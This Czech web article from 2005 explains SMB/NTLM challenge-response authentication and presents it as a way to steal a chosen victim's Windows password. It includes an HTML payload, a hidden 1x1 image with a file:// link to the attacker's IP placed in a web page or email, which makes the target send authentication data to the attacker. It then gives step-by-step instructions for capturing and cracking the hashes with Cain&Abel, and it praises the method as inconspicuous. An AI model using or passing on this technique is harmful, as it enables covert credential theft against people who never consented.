Zpět na seznam článků     Číst komentáře (33)     Verze pro tisk

Zrádce jménem SMB aneb řekni si o heslo nebo rovnou vstup

Autor: .cCuMiNn.   
10.6.2005

Určitě jste si všichni nejednou kladli otázku, jak zjistit přístupové jméno a heslo ke vzdálenému PC. Na své si při tom častokrát přišli keyloggery, sociotechnika a bůhví jaké další metody. Málokdo však ví o tom, že existuje velmi jednoduchý způsob jak tyto kritické údaje získat přes síť a s minimálním rizikem odhalení. Stačí se přeci napadeného počítače zeptat a bonzák jménem SMB vám je rád vyzradí...


Určitě jste si všichni nejednou kladli otázku, jak zjistit přístupové jméno a heslo ke vzdálenému PC. Na své si při tom častokrát přišli keyloggery, sociotechnika a bůhví jaké další metody. Málokdo však ví o tom, že existuje velmi jednoduchý způsob jak tyto kritické údaje získat přes síť a s minimálním rizikem odhalení. Stačí se přeci napadeného počítače zeptat a bonzák jménem SMB vám je rád vyzradí.

Než si popíšeme vlastní útok měli bychom celou záležitost pochopit. Proto si teď povíme, kdo že to ten bonzák je a proč si ho na svých počítačích vůbec držíme.

SMB je zkratka ze slov Server Message Block. Jde o protokol, který je postaven na TCP/IP komunikaci a slouží ke sdílení souborů a tiskáren ve Windows. U Windows 9x,NT se SMB používá pomocí NetBIOS přes porty 137,139/tcp a 137,138/udp. Novější Windows 2000,XP už přistupují k SMB přímo pomocí TCP/IP na port 445/tcp. Přes tento port je SMB přístupný na většině PC s operačním systémem Windows.

SMB je tedy využito v případě, že se chceme napojit na vzdálené PC za účelem sdílení některého souboru (například poklepáme-li na inkonu vzdáleného počítače, či na zástupce směřujícího na vzdálený soubor nebo použijeme-li příkaz NET USE). Ve chvíli, kdy se pokusíme navázat se vzdáleným počítačem kontakt začnou na síti putovat data, která mají toto spojení zajistit.

- Nejprve je klientem vyslán požadavek na navázání spojení
- Pokud server na tento požadavek odpoví dojde k navázání spojení a server odešle klientu náhodný řetězec dat k autentizaci
- Klient tento řeťězec zašifruje né zrovna silnou šifrou, kde jako kódový klíč použije hash hesla právě přihlášeného uživatele
- Tento zašifrovaný řeťezec odešle klient nazpět serveru
- Ten stejným způsobem zašifruje původní data pomocí vlastního uživatelova hashe a výsledná zašifrovaná data porovná
- Pokud jsou data zašifrovaná na klientu i serveru shodná je uživatel autentizován


Z výše uvedeného vyplývá, že během celého procesu nebyl na síť uživatelův hash vyslán a přesto není problém jej zjistit. Jak jsem již uvedl, nepatří použitý šifrovací algoritmus mezi nejsilnější a není proto velkým problémem zpětně získat klíč(hash) použitý pro zašifrování dat. Jediné co musíme udělat je odchytit původní nezašifrovaný řetězec a pak i řetězec zašifrovaný. Budeme-li tedy sniffovat na síti například programem Ethereal, nebude to pro nás velký problém. Horší by to bylo s extrakcí těchto dat pro další použití a proto bylo vytvořeno několik specializovaných nástrojů, které mají za cíl právě odchytávání těchto informací. Blíže vám je představím v závěru kapitoly.

Pomocí informací uvedených výše jsme nyní schopni zachytávat náhodnou komunikaci na síti. Co však dělat, pokud chceme zjistit heslo URČITÉHO uživatele? Není jednodužší metody než se počítače, na který máme spadeno zeptat. A jak to provedeme? Musíme tento počítač nějakým způsobem přinutit aby se s námi kontaktoval za účelem navázání spojení přes SMB. Jakmile to udělá, odešleme mu datový řetězec, který klient svým hashem zašifruje a vrátí nám jej. My pak zpětnou cestou získáme uživatelův hash hesla. Zní to pěkně, ale jak to provést? Naprosto jednoduše. Stačí aby byl náš počítač počítačem objeti viděn, tzn. že musíme být na stejné LAN nebo musíme mít veřejnou IP adresu. Pokud tyto požadavky splňujeme, stačí když na své WWW stránky nebo do e-mailové zprávy vložíme malý kousek kódu, který bude po našem pořítači požadovat nějaký soubor. Např:

<HTML>
<img src="file://tvá_IP_adresa/obrazek.gif" width="1" height="1">
</HTML>


Dokonce na svém počítači ani tento soubor mít nemusíme, hlavní je, že si napadený počítač tento soubor vyžádá a tím naváže výše zmíněnou komunikaci. Pokud je tímto souborem například obrázek o rozměrech 1x1 pixel, pak si objeť nemůže všimnout ničeho podezřelého. Tato metoda je vůbec velice nenápadná a přitom tak účinná :)

Teď se tedy konečně dostávám k programům, které vám mohou celou věc značně usnadnit tím, že naslouchají právě na portu 445, kde očekávají příchozí spojení a důležitá data z nich exportují.
Jedním z těchto programů je náš starý známý Cain&Abel. Po jeho spuštění se přesuneme na záložku Sniffer v horní části. Ve spodní části vybereme záložku Passwords a nalevo složku SMB. Sem se ukládají právě zachycená data, o kterých píši. Pak jen stiskneme ikonku se síťovou kartou (vlevo nahoře) a vyčkáváme až se oběť připojí. Poté co se nám podaří zachytit pár informací stiskneme nad nimi pravé tlačítko myši a přesuneme je do crackovací části programu, kde volbou NTLM Session Security zjistíme uživatelská hesla.
Dalšími programy, které můžeme použít jsou například SMBrelay nebo L0phtcrack.

V příštím díle se zamyslíme nad ztrátou času při crackování hesla a využijeme SMB k získání MITM postavení.

.cCuMiNn.

Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 1.91/106

1  2  3  4  5    
(známkování jako ve škole)